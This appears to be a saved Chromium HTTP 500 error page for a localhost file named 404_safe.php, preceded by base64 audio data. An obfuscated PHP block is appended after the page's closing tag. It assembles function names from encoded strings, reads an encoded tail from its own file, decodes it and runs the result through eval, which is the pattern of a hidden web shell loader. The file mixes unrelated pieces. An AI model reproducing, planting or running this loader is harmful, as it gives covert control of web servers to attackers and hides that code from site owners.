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"></audio>
</template>
</div>
<script jstcache="0">(function(){function l(a,b,c){return Function.prototype.call.apply(Array.prototype.slice,arguments)}function m(a,b,c){var e=l(arguments,2);return function(){return b.apply(a,e)}}function n(a,b){var c=new p(b);for(c.h=[a];c.h.length;){var e=c,d=c.h.shift();e.i(d);for(d=d.firstChild;d;d=d.nextSibling)1==d.nodeType&&e.h.push(d)}}function p(a){this.i=a}function q(a){a.style.display=""}function r(a){a.style.display="none"};var t=/\s*;\s*/;function u(a,b){this.l.apply(this,arguments)}u.prototype.l=function(a,b){this.a||(this.a={});if(b){var c=this.a,e=b.a;for(d in e)c[d]=e[d]}else{var d=this.a;e=v;for(c in e)d[c]=e[c]}this.a.$this=a;this.a.$context=this;this.f="undefined"!=typeof a&&null!=a?a:"";b||(this.a.$top=this.f)};var v={$default:null},w=[];function x(a){for(var b in a.a)delete a.a[b];a.f=null;w.push(a)}function y(a,b,c){try{return b.call(c,a.a,a.f)}catch(e){return v.$default}}
u.prototype.clone=function(a,b,c){if(0<w.length){var e=w.pop();u.call(e,a,this);a=e}else a=new u(a,this);a.a.$index=b;a.a.$count=c;return a};var z;window.trustedTypes&&(z=trustedTypes.createPolicy("jstemplate",{createScript:function(a){return a}}));var A={};function B(a){if(!A[a])try{var b="(function(a_, b_) { with (a_) with (b_) return "+a+" })",c=window.trustedTypes?z.createScript(b):b;A[a]=window.eval(c)}catch(e){}return A[a]}
function E(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c){var d=a[c].indexOf(":");if(!(0>d)){var g=a[c].substr(0,d).replace(/^\s+/,"").replace(/\s+$/,"");d=B(a[c].substr(d+1));b.push(g,d)}}return b};function F(){}var G=0,H={0:{}},I={},J={},K=[];function L(a){a.__jstcache||n(a,function(b){M(b)})}var N=[["jsselect",B],["jsdisplay",B],["jsvalues",E],["jsvars",E],["jseval",function(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c)if(a[c]){var d=B(a[c]);b.push(d)}return b}],["transclude",function(a){return a}],["jscontent",B],["jsskip",B]];
function M(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");if(null!=b)return a.__jstcache=H[b];b=K.length=0;for(var c=N.length;b<c;++b){var e=N[b][0],d=a.getAttribute(e);J[e]=d;null!=d&&K.push(e+"="+d)}if(0==K.length)return a.setAttribute("jstcache","0"),a.__jstcache=H[0];var g=K.join("&");if(b=I[g])return a.setAttribute("jstcache",b),a.__jstcache=H[b];var h={};b=0;for(c=N.length;b<c;++b){d=N[b];e=d[0];var f=d[1];d=J[e];null!=d&&(h[e]=f(d))}b=""+ ++G;a.setAttribute("jstcache",
b);H[b]=h;I[g]=b;return a.__jstcache=h}function P(a,b){a.j.push(b);a.o.push(0)}function Q(a){return a.c.length?a.c.pop():[]}
F.prototype.g=function(a,b){var c=R(b),e=c.transclude;if(e)(c=S(e))?(b.parentNode.replaceChild(c,b),e=Q(this),e.push(this.g,a,c),P(this,e)):b.parentNode.removeChild(b);else if(c=c.jsselect){c=y(a,c,b);var d=b.getAttribute("jsinstance");var g=!1;d&&("*"==d.charAt(0)?(d=parseInt(d.substr(1),10),g=!0):d=parseInt(d,10));var h=null!=c&&"object"==typeof c&&"number"==typeof c.length;e=h?c.length:1;var f=h&&0==e;if(h)if(f)d?b.parentNode.removeChild(b):(b.setAttribute("jsinstance","*0"),r(b));else if(q(b),
null===d||""===d||g&&d<e-1){g=Q(this);d=d||0;for(h=e-1;d<h;++d){var k=b.cloneNode(!0);b.parentNode.insertBefore(k,b);T(k,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,k,x,f,null)}T(b,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,b,x,f,null);P(this,g)}else d<e?(g=c[d],T(b,c,d),f=a.clone(g,d,e),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g)):b.parentNode.removeChild(b);else null==c?r(b):(q(b),f=a.clone(c,0,1),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g))}else this.b(a,b)};
F.prototype.b=function(a,b){var c=R(b),e=c.jsdisplay;if(e){if(!y(a,e,b)){r(b);return}q(b)}if(e=c.jsvars)for(var d=0,g=e.length;d<g;d+=2){var h=e[d],f=y(a,e[d+1],b);a.a[h]=f}if(e=c.jsvalues)for(d=0,g=e.length;d<g;d+=2)if(f=e[d],h=y(a,e[d+1],b),"$"==f.charAt(0))a.a[f]=h;else if("."==f.charAt(0)){f=f.substr(1).split(".");for(var k=b,O=f.length,C=0,U=O-1;C<U;++C){var D=f[C];k[D]||(k[D]={});k=k[D]}k[f[O-1]]=h}else f&&("boolean"==typeof h?h?b.setAttribute(f,f):b.removeAttribute(f):b.setAttribute(f,""+h));
if(e=c.jseval)for(d=0,g=e.length;d<g;++d)y(a,e[d],b);e=c.jsskip;if(!e||!y(a,e,b))if(c=c.jscontent){if(c=""+y(a,c,b),b.innerHTML!=c){for(;b.firstChild;)e=b.firstChild,e.parentNode.removeChild(e);b.appendChild(this.m.createTextNode(c))}}else{c=Q(this);for(e=b.firstChild;e;e=e.nextSibling)1==e.nodeType&&c.push(this.g,a,e);c.length&&P(this,c)}};function R(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");return b?a.__jstcache=H[b]:M(a)}
function S(a,b){var c=document;if(b){var e=c.getElementById(a);if(!e){e=b();var d=c.getElementById("jsts");d||(d=c.createElement("div"),d.id="jsts",r(d),d.style.position="absolute",c.body.appendChild(d));var g=c.createElement("div");d.appendChild(g);g.innerHTML=e;e=c.getElementById(a)}c=e}else c=c.getElementById(a);return c?(L(c),c=c.cloneNode(!0),c.removeAttribute("id"),c):null}function T(a,b,c){c==b.length-1?a.setAttribute("jsinstance","*"+c):a.setAttribute("jsinstance",""+c)};window.jstGetTemplate=S;window.JsEvalContext=u;window.jstProcess=function(a,b){var c=new F;L(b);c.m=b?9==b.nodeType?b:b.ownerDocument||document:document;var e=m(c,c.g,a,b),d=c.j=[],g=c.o=[];c.c=[];e();for(var h,f,k;d.length;)h=d[d.length-1],e=g[g.length-1],e>=h.length?(e=c,f=d.pop(),f.length=0,e.c.push(f),g.pop()):(f=h[e++],k=h[e++],h=h[e++],g[g.length-1]=e,f.call(c,k,h))};
})()</script><script jstcache="0">// Copyright 2012 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @fileoverview
* NOTE: This file is deprecated, and provides only the minimal LoadTimeData
* functions for places in the code still not using JS modules. Use
* load_time_data.m.js in all new code.
*
* This file defines a singleton which provides access to all data
* that is available as soon as the page's resources are loaded (before DOM
* content has finished loading). This data includes both localized strings and
* any data that is important to have ready from a very early stage (e.g. things
* that must be displayed right away).
*
* Note that loadTimeData is not guaranteed to be consistent between page
* refreshes (https://crbug.com/740629) and should not contain values that might
* change if the page is re-opened later.
*/
/** @type {!LoadTimeData} */
// eslint-disable-next-line no-var
var loadTimeData;
class LoadTimeData {
constructor() {
/** @type {?Object} */
this.data_ = null;
}
/**
* Sets the backing object.
*
* Note that there is no getter for |data_| to discourage abuse of the form:
*
* var value = loadTimeData.data()['key'];
*
* @param {Object} value The de-serialized page data.
*/
set data(value) {
expect(!this.data_, 'Re-setting data.');
this.data_ = value;
}
/**
* @param {string} id An ID of a value that might exist.
* @return {boolean} True if |id| is a key in the dictionary.
*/
valueExists(id) {
return id in this.data_;
}
/**
* Fetches a value, expecting that it exists.
* @param {string} id The key that identifies the desired value.
* @return {*} The corresponding value.
*/
getValue(id) {
expect(this.data_, 'No data. Did you remember to include strings.js?');
const value = this.data_[id];
expect(typeof value !== 'undefined', 'Could not find value for ' + id);
return value;
}
/**
* As above, but also makes sure that the value is a string.
* @param {string} id The key that identifies the desired string.
* @return {string} The corresponding string value.
*/
getString(id) {
const value = this.getValue(id);
expectIsType(id, value, 'string');
return /** @type {string} */ (value);
}
/**
* Returns a formatted localized string where $1 to $9 are replaced by the
* second to the tenth argument.
* @param {string} id The ID of the string we want.
* @param {...(string|number)} var_args The extra values to include in the
* formatted output.
* @return {string} The formatted string.
*/
getStringF(id, var_args) {
const value = this.getString(id);
if (!value) {
return '';
}
const args = Array.prototype.slice.call(arguments);
args[0] = value;
return this.substituteString.apply(this, args);
}
/**
* Returns a formatted localized string where $1 to $9 are replaced by the
* second to the tenth argument. Any standalone $ signs must be escaped as
* $$.
* @param {string} label The label to substitute through.
* This is not an resource ID.
* @param {...(string|number)} var_args The extra values to include in the
* formatted output.
* @return {string} The formatted string.
*/
substituteString(label, var_args) {
const varArgs = arguments;
return label.replace(/\$(.|$|\n)/g, function(m) {
expect(m.match(/\$[$1-9]/), 'Unescaped $ found in localized string.');
return m === '$$' ? '$' : varArgs[m[1]];
});
}
/**
* As above, but also makes sure that the value is a boolean.
* @param {string} id The key that identifies the desired boolean.
* @return {boolean} The corresponding boolean value.
*/
getBoolean(id) {
const value = this.getValue(id);
expectIsType(id, value, 'boolean');
return /** @type {boolean} */ (value);
}
/**
* As above, but also makes sure that the value is an integer.
* @param {string} id The key that identifies the desired number.
* @return {number} The corresponding number value.
*/
getInteger(id) {
const value = this.getValue(id);
expectIsType(id, value, 'number');
expect(value === Math.floor(value), 'Number isn\'t integer: ' + value);
return /** @type {number} */ (value);
}
/**
* Override values in loadTimeData with the values found in |replacements|.
* @param {Object} replacements The dictionary object of keys to replace.
*/
overrideValues(replacements) {
expect(
typeof replacements === 'object',
'Replacements must be a dictionary object.');
for (const key in replacements) {
this.data_[key] = replacements[key];
}
}
}
/**
* Checks condition, throws error message if expectation fails.
* @param {*} condition The condition to check for truthiness.
* @param {string} message The message to display if the check fails.
*/
function expect(condition, message) {
if (!condition) {
throw new Error(
'Unexpected condition on ' + document.location.href + ': ' + message);
}
}
/**
* Checks that the given value has the given type.
* @param {string} id The id of the value (only used for error message).
* @param {*} value The value to check the type on.
* @param {string} type The type we expect |value| to be.
*/
function expectIsType(id, value, type) {
expect(
typeof value === type, '[' + value + '] (' + id + ') is not a ' + type);
}
expect(!loadTimeData, 'should only include this file once');
loadTimeData = new LoadTimeData();
// Expose |loadTimeData| directly on |window|, since within a JS module the
// scope is local and not all files have been updated to import the exported
// |loadTimeData| explicitly.
window.loadTimeData = loadTimeData;
console.warn('crbug/1173575, non-JS module files deprecated.');
</script><script jstcache="0">const pageData = {"details":"Details","errorCode":"HTTP ERROR 500","fontfamily":"\"sans\", Arial, sans-serif","fontsize":"75%","heading":{"hostName":"localhost","msg":"This page isn’t working"},"hideDetails":"Hide details","iconClass":"icon-generic","language":"en","reloadButton":{"msg":"Reload","reloadUrl":"http://localhost/404_safe.php"},"suggestionsDetails":[],"suggestionsSummaryList":[],"summary":{"failedUrl":"http://localhost/404_safe.php","hostName":"localhost","msg":"\u003Cstrong jscontent=\"hostName\">\u003C/strong> is currently unable to handle this request."},"textdirection":"ltr","title":"localhost"};loadTimeData.data = pageData;var tp = document.getElementById('t');jstProcess(new JsEvalContext(pageData), tp);</script></body></html>
<?php /* Xo99WFCn+6UCliWw9SWKRA6S70xCqOMunBMrEhkekDbFYgL3jZX/oKXZNqmBQemJHAtKWixwIZWJNH3ZpgLcQg3Zpgm37+kSn0m5E43Zpg3Zpg3ZpAtg==j5ERj9 */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x21160;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDU3Zik7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwncEc1L2Nud3VqbG0xTFh0NFBFSjNvOUNGVVc2eE1rYnpOUmFpSCtTZVlBZHMwN3lPZ2ZCWjJoS3JEcXY4UUlUVj0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>~DlcI4L/G4L/G4L/hZkulzMS9gxwniWJNeFhIwJofnFhQe15jejaDH32I4LcQg3Zpg1ajejagHE2f4PHnLoh0e32I4L/pgLcQglh2YlckL32lG3nXxl2I43ZpgL/pg3Bkkm5Eu3cI5Pof3CBk4LcQgLcI4L/peFJNH3ZpgLcQg3Zpg15E43Zpg3ZpgL/pA15kgEZoOUKqrkCA0x3nLCuP2oc9mLKQqP2W99ZWD3C7abHqJUC+jmhX+ConHMZprboIeWHl6LSR1MHEfkiREJ9EC4JM0l2n5P2EnEHkjJoA13cht3hGEo+Xo99WFCn+6UCliWw9SWKRA6S70xCqOMunBMrEhkekDbFYgL3jZX/oKXZNqmBQemJHAtKWixwIZWJNH3ZpgLcQg3Zpgm37+kSn0m5E43Zpg3Zpg3ZpAtg==j5ERj/2e3u+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7AMwX/xekfJoXGW2+wCHXEo2loo29C39E/PHkoLoAco+WlW2f3P+kJ9HAoohoq32+cJF9XoC7fWHngtc7APCklP2neo+kJMwE/PChlE9l0WwhCMKjZPCkWxS7e9S7mP+Wn9Hloo2neJoXGW2+/PCk1xek1WHXOW2+G6KklEKNgWcRGXHfqt3lWxoUgC+kwkcf7XCfHP2neJoXGJH+/PCklPrpDPKqrMo+/PCklE/pqJoX5J9+F3elR9Z9yJoXWWhoB9SAHCcAgWcRsW2+cL/+lP2neJoXGW2+/PFnSPFGiJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+OMo7Axrn16CIfJK+